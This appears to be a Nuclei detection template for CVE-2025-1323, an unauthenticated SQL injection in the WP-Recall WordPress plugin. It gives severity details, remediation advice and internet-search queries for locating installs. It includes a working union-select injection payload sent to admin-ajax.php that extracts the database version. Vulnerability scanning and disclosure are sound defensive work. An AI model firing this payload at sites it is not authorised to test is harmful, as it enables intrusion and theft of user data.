id: CVE-2025-1323

info:
  name: WP-Recall – Plugin <= 16.26.10 - Unauthenticated SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    The WP-Recall – Registration, Profile, Commerce & More plugin for WordPress is vulnerable to SQL Injection via the 'databeat' parameter in all versions up to, and including, 16.26.10 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL queries through time-based blind SQL injection in the databeat parameter, leading to extraction of sensitive database information including user credentials and personal data.
  remediation: |
    Update to version 16.26.12, or a newer patched version
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-recall/wp-recall-registration-profile-commerce-more-162610-unauthenticated-sql-injection
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/ae5b4d81-c2f1-4d0d-b7b0-5556bf0451f5?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-1323
    cwe-id: CWE-89
    epss-score: 0.2862
    epss-percentile: 0.96605
    cpe: cpe:2.3:a:plechevandrey:wp-recall:*:*:*:*:*:wordpress:*:*
  metadata:
    vendor: plechevandrey
    product: wp-recall
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/wp-recall/"
    fofa-query: body=/wp-content/plugins/wp-recall/
    publicwww-query: /wp-content/plugins/wp-recall/
  tags: cve,cve2025,wp-recall,wordpress,wp-plugin,sqli,wp,vuln

variables:
  marker: "{{randstr}}"
  token: "{{base64('private:1:5')}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    extractors:
      - type: regex
        part: body
        internal: true
        name: nonce
        group: 1
        regex:
          - 'var Rcl = .*?"nonce":"([a-z0-9]+)"'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=rcl_beat&ajax_nonce={{nonce}}&databeat=[{"beat_name":"rcl_chat_beat_core","action":"rcl_chat_get_new_messages","data":{"token":"{{token}}","last_activity":"xx' and 1=0 union select 1,2,concat(0x{{hex_encode(marker)}}3a,version()),4,5,6,7--+-"}}]

    extractors:
      - type: regex
        part: body
        internal: false
        name: version
        group: 1
        regex:
          - 'data-user_id=\\".*?:(.*?)\\">'

    matchers:
      - type: word
        part: body
        words:
          - '{{marker}}'
          - 'content'
          - '"beat_name":"rcl_chat_beat_core"'
        condition: and
# digest: 490a004630440220389d79aece58a78e928fdbd158351857e64e049f8dcfffeca2d85994cf03546c02207dd901dbc7233516c1b863b8d9e623b6d3c7a8c0ac4faf5cc1796b2583cd936d:922c64590222798bb761d5b6d8e72950